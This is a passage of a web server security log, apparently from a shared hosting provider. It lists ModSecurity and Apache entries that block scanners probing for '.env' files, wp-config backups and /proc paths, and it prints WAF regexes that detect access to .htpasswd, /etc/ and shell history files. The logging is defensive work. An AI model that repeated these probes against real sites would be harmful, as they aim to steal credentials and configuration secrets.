152.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zalWSojQL4F7upKBzRwAAwEA"] [Sat Jun 13 18:18:50.433380 2026] [access_compat:error] [pid 648189:tid 648293] [remote 74.7.227.22:46210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:50.433688 2026] [access_compat:error] [pid 648189:tid 648293] [remote 74.7.227.22:46210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:50.467341 2026] [security2:error] [pid 648189:tid 648409] [client 5.255.231.198:42772] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3zalWSojQL4F7upKBzTwAAALw"] [Sat Jun 13 18:18:50.604289 2026] [security2:error] [pid 648189:tid 648262] [remote 209.87.149.26:60181] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zalWSojQL4F7upKBzVAAA6Sg"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:18:50.682870 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL21vdXNlMC9wb3dlcg== [Sat Jun 13 18:18:50.683141 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL21vdXNlMC9wb3dlcg== [Sat Jun 13 18:18:50.703299 2026] [security2:error] [pid 646876:tid 647107] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/webroot_path/.env"] [unique_id "ai3zatyTkdrNlD40tSG3eAAAAGM"] [Sat Jun 13 18:18:50.835140 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/website/.env"] [unique_id "ai3zatyTkdrNlD40tSG3ewAAACg"] [Sat Jun 13 18:18:50.890983 2026] [security2:error] [pid 648189:tid 648485] [client 45.156.128.152:57858] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/optinmonster/readme.txt"] [unique_id "ai3zalWSojQL4F7upKBzXgAAAQM"] [Sat Jun 13 18:18:50.943394 2026] [security2:error] [pid 648189:tid 648254] [remote 17.241.227.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zalWSojQL4F7upKBzYQAA2yA"] [Sat Jun 13 18:18:50.972971 2026] [security2:error] [pid 646876:tid 647126] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/websocket/.env"] [unique_id "ai3zatyTkdrNlD40tSG3fwAAAHY"] [Sat Jun 13 18:18:51.104916 2026] [security2:error] [pid 646876:tid 647109] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/webstatic/.env"] [unique_id "ai3za9yTkdrNlD40tSG3gQAAAGU"] [Sat Jun 13 18:18:51.121575 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.66:47662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:51.121906 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.66:47662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:51.131264 2026] [security2:error] [pid 648189:tid 648332] [remote 17.22.237.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3za1WSojQL4F7upKBzawAAlG0"] [Sat Jun 13 18:18:51.190189 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:18:51.190640 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:18:51.194571 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.31:39282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:51.194995 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.31:39282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:51.236665 2026] [security2:error] [pid 646876:tid 647017] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/webui/.env"] [unique_id "ai3za9yTkdrNlD40tSG3hAAAAAk"] [Sat Jun 13 18:18:51.309457 2026] [security2:error] [pid 648189:tid 648302] [remote 17.241.219.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3za1WSojQL4F7upKBzcwAAm1A"] [Sat Jun 13 18:18:51.367782 2026] [security2:error] [pid 646876:tid 647022] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/well-known/.env"] [unique_id "ai3za9yTkdrNlD40tSG3hQAAAA4"] [Sat Jun 13 18:18:51.454088 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.62:27936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:51.454367 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.62:27936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:51.501847 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/whturk/.env"] [unique_id "ai3za9yTkdrNlD40tSG3hwAAAEU"] [Sat Jun 13 18:18:51.571021 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.63:29824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:51.571309 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.63:29824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:51.632944 2026] [security2:error] [pid 646876:tid 647091] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/windows/tests/9.2.x/.env"] [unique_id "ai3za9yTkdrNlD40tSG3iAAAAFM"] [Sat Jun 13 18:18:51.734894 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:18:51.735158 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:18:51.764807 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/windows/tests/9.3.x/.env"] [unique_id "ai3za9yTkdrNlD40tSG3igAAABM"] [Sat Jun 13 18:18:51.864306 2026] [security2:error] [pid 646876:tid 646909] [remote 77.237.247.134:51212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.247.237.77.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ambeault.net"] [uri "/wp-login.php"] [unique_id "ai3za9yTkdrNlD40tSG3iwAARB4"] [Sat Jun 13 18:18:51.898647 2026] [security2:error] [pid 646876:tid 647026] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wordpress/.env"] [unique_id "ai3za9yTkdrNlD40tSG3jQAAABI"] [Sat Jun 13 18:18:52.030061 2026] [security2:error] [pid 646876:tid 647128] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/workspace/.env"] [unique_id "ai3zbNyTkdrNlD40tSG3kAAAAHg"] [Sat Jun 13 18:18:52.162251 2026] [security2:error] [pid 646876:tid 647054] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-config.old"] [unique_id "ai3zbNyTkdrNlD40tSG3kgAAAC4"] [Sat Jun 13 18:18:52.176714 2026] [security2:error] [pid 646876:tid 646919] [remote 168.63.79.147:48400] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yassbc-org.yourkatana.com"] [uri "/wp-login.php"] [unique_id "ai3zbNyTkdrNlD40tSG3lAAAECg"], referer: https://yassbc-org.yourkatana.com/wp-login.php [Sat Jun 13 18:18:52.192388 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.52:26374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:52.192706 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.52:26374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:52.245063 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:52.245326 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:52.291807 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php-backup"] [unique_id "ai3zbNyTkdrNlD40tSG3lwAAAHM"] [Sat Jun 13 18:18:52.346438 2026] [security2:error] [pid 648189:tid 648278] [remote 17.22.237.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbFWSojQL4F7upKBzoAAA4jg"] [Sat Jun 13 18:18:52.463734 2026] [security2:error] [pid 646876:tid 646903] [remote 17.246.23.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zbNyTkdrNlD40tSG3mQAASRg"] [Sat Jun 13 18:18:52.555885 2026] [security2:error] [pid 646876:tid 647012] [client 185.177.72.9:30474] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php~"] [unique_id "ai3zbNyTkdrNlD40tSG3mwAAAAQ"] [Sat Jun 13 18:18:52.566466 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.109:24992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:52.566934 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.109:24992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:52.578812 2026] [security2:error] [pid 648189:tid 648259] [remote 87.250.224.230:46510] ModSecurity: Access denied with code 429 (phase 2). Pattern match 